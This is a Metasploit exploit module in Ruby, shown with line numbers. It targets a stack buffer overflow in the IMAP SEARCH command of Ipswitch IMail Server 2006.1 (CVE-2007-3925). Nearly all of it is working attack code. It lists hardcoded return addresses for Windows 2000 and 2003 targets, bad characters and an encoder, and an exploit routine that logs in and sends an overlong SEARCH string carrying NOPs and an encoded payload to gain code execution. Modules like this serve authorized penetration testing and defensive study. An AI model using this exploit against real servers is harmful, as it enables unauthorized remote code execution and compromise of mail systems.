1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Imap
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Ipswitch IMail IMAP SEARCH Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH
18
          verb. By sending an overly long string, an attacker can overwrite the
19
          buffer and control program execution.
20
          In order for this module to be successful, the IMAP user must have at least one
21
          message.
22
        },
23
        'Author' => [ 'MC' ],
24
        'License' => MSF_LICENSE,
25
        'References' => [
26
          [ 'CVE', '2007-3925' ],
27
          [ 'OSVDB', '36219' ],
28
          [ 'BID', '24962' ],
29
        ],
30
        'Privileged' => true,
31
        'DefaultOptions' => {
32
          'EXITFUNC' => 'thread',
33
        },
34
        'Payload' => {
35
          'Space' => 400,
36
          'BadChars' => "\x00\x0a\x0d\x20\x0b\x09\x0c",
37
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
38
        },
39
        'Platform' => 'win',
40
        'Targets' => [
41
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ],
42
          [ 'Windows 2003 SP0 English', { 'Ret' => 0x77c5cee8 } ]
43
        ],
44
        'DefaultTarget' => 0,
45
        'DisclosureDate' => '2007-07-18',
46
        'Notes' => {
47
          'Reliability' => UNKNOWN_RELIABILITY,
48
          'Stability' => UNKNOWN_STABILITY,
49
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
        }
51
      )
52
    )
53
  end
54

55
  def exploit
56
    sploit = "a002 SEARCH BEFORE " + "<" + rand_text_english(87)
57
    sploit << [target.ret].pack('V') + make_nops(20) + payload.encoded + ">"
58

59
    info = connect_login
60

61
    if (info == true)
62
      print_status("Trying target #{target.name}...")
63
      sock.put("a001 SELECT INBOX\r\n")
64
      sock.get_once(-1, 3)
65
      sock.put(sploit + "\r\n")
66
    else
67
      print_status("Not falling through with exploit")
68
    end
69

70
    handler
71
    disconnect
72
  end
73
end
74

75